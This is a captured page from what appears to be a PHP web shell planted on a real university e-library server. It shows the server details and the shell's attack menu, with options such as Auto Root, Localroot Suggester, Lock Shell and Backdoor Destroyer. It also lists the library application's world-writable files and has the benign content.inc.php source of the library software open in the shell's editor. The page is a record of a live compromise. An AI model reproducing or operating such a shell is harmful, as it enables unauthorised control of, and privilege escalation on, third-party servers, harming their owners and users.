Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
Server IP : & Your IP : 18.218.221.53
Domains :
Cant Read [ /etc/named.conf ]
User : elibrary.unsap.ac.id
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
D: /
localhost /
elibrary /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
Zend
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
contents
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
flex
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
lang
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
marc
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
minigalnano
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
oaipmh
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
parsedown
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
phpbarcode
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
phplot
[ DIR ]
drwxrwxrwx
2025-04-26 19:22
phpmailer
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
recaptcha
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
slide
[ DIR ]
drwxrwxrwx
2024-08-22 20:25
sphinx
[ DIR ]
drwxrwxrwx
2020-02-14 07:54
AltoRouter.php
7.18
KB
-rw-rw-rw-
2020-02-14 07:54
VideoStream.php
3.14
KB
-rw-rw-rw-
2020-02-14 07:54
admin_logon.inc.php
11.67
KB
-rw-rw-rw-
2020-02-14 07:54
api.inc.php
18.72
KB
-rw-rw-rw-
2020-02-14 07:54
biblio_list.inc.php
11.18
KB
-rw-rw-rw-
2020-02-14 07:54
biblio_list_elasticsearch.inc.php
8.42
KB
-rw-rw-rw-
2020-02-14 07:54
biblio_list_index.inc.php
9.45
KB
-rw-rw-rw-
2020-02-14 07:54
biblio_list_model.inc.php
16.45
KB
-rw-rw-rw-
2020-02-14 07:54
biblio_list_mongodb.inc.php
6.04
KB
-rw-rw-rw-
2020-02-14 07:54
biblio_list_sphinx.inc.php
10.85
KB
-rw-rw-rw-
2020-02-14 07:54
biblio_list_sqlite.inc.php
8.38
KB
-rw-rw-rw-
2020-02-14 07:54
circulation_api.inc.php
7.06
KB
-rw-rw-rw-
2020-02-14 07:54
comment.inc.php
3.02
KB
-rw-rw-rw-
2020-02-14 07:54
content.inc.php
4.66
KB
-rw-rw-rw-
2020-02-14 07:54
content_custom.inc.php
3.14
KB
-rw-rw-rw-
2020-02-14 07:54
content_list.inc.php
3.22
KB
-rw-rw-rw-
2020-02-14 07:54
detail.inc.php
48.75
KB
-rw-rw-rw-
2020-02-14 07:54
http_request.inc.php
5.96
KB
-rw-rw-rw-
2020-02-14 07:54
index.html
75
B
-rw-rw-rw-
2020-02-14 07:54
index.php
35
B
-rw-rw-rw-
2020-02-14 07:54
ip_based_access.inc.php
1.95
KB
-rw-rw-rw-
2020-02-14 07:54
marcxmlsenayan.inc.php
10.16
KB
-rw-rw-rw-
2020-02-14 07:54
member_api.inc.php
1.73
KB
-rw-rw-rw-
2020-02-14 07:54
member_logon.inc.php
9.98
KB
-rw-rw-rw-
2020-02-14 07:54
member_session.inc.php
1.42
KB
-rw-rw-rw-
2020-02-14 07:54
modsxmlsenayan.inc.php
7.59
KB
-rw-rw-rw-
2020-02-14 07:54
modsxmlslims.inc.php
5.29
KB
-rw-rw-rw-
2020-02-14 07:54
module.inc.php
6.28
KB
-rw-rw-rw-
2020-02-14 07:54
oai-pmh.inc.php
13.47
KB
-rw-rw-rw-
2020-02-14 07:54
phpwebsocket.php
26.26
KB
-rw-rw-rw-
2020-02-14 07:54
router.inc.php
4.1
KB
-rw-rw-rw-
2020-02-14 07:54
utility.inc.php
20.89
KB
-rw-rw-rw-
2020-02-14 07:54
Save
Rename
<?php /** * Content class * Class for showing content from database * * Copyright (C) 2007,2008 Arie Nugraha (dicarve@yahoo.com), Hendro Wicaksono (hendrowicaksono@yahoo.com) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ // be sure that this file not accessed directly if (!defined('INDEX_AUTH')) { die("can not access this file directly"); } elseif (INDEX_AUTH != 1) { die("can not access this file directly"); } class Content { public $strip_html = false; public $allowed_tags = null; public static function createSummary($text, $max_chars = 300) { $summary = strip_tags($text); // $summary = substr($summary, 0, $max_chars); // making sure substr finishes on a word if (preg_match('/^.{1,'.$max_chars.'}\b/s', $summary, $match)) { $summary= $match[0]; } return $summary; } public function getContents($obj_db, $max_each_page = 10, &$total, $search_query = '') { global $sysconf; $contents = array(); $page = 1; $offset = 0; if (isset($_GET['page'])) { $page = (integer)$_GET['page']; } if ($page > 1) { $offset = ($page*$max_each_page)-$max_each_page; } // language $_lang = strtolower($sysconf['default_lang']); // query content $_sql_content = "SELECT SQL_CALC_FOUND_ROWS * FROM content WHERE is_news=1"; if ($search_query) { $search_query = $obj_db->escape_string(trim($search_query)); $_sql_content .= " AND MATCH(`content_title`, `content_desc`) AGAINST('$search_query' IN BOOLEAN MODE)"; } $_sql_content .= " ORDER BY `last_update` DESC"; $_sql_content .= " LIMIT $max_each_page OFFSET $offset"; $_content_q = $obj_db->query($_sql_content); // echo $_sql_content; // get total rows $_total_rows = $obj_db->query('SELECT FOUND_ROWS()'); $_total_rows_d = $_total_rows->fetch_row(); $total = $_total_rows_d[0]; // get content data while ($_content_d = $_content_q->fetch_assoc()) { $contents[] = $_content_d; } return $contents; } public function get($obj_db, $str_path = '') { global $sysconf; $_path = strtolower(trim($str_path)); if (!$_path) { return; } if (preg_match('@^admin.+@i', $_path)) { $_unauthorized = !isset($_SESSION['uid']) AND !isset($_SESSION['uname']) AND !isset($_SESSION['realname']); if ($_unauthorized) { return; } } // language $_lang = strtolower($sysconf['default_lang']); $_path_lang = $_path.'_'.$_lang; // check for language $_sql_check = sprintf('SELECT COUNT(*) FROM content WHERE content_path=\'%s\'', $obj_db->escape_string($_path_lang)); $_check_q = $obj_db->query($_sql_check); $_check_d = $_check_q->fetch_row(); if ($_check_d[0] > 0) { $_path = $_path_lang; } // query content $_sql_content = sprintf('SELECT * FROM content WHERE content_path=\'%s\'', $obj_db->escape_string($_path)); $_content_q = $obj_db->query($_sql_content); // get content data $_content_d = $_content_q->fetch_assoc(); if (!$_content_d['content_title'] OR !$_content_d['content_path']) { return false; } else { $_content['Title'] = $_content_d['content_title']; $_content['Path'] = $_content_d['content_path']; $_content['Content'] = $_content_d['content_desc']; // strip html if ($this->strip_html) { $_content['Content'] = strip_tags($_content['Content'], $this->allowed_tags); } return $_content; } } }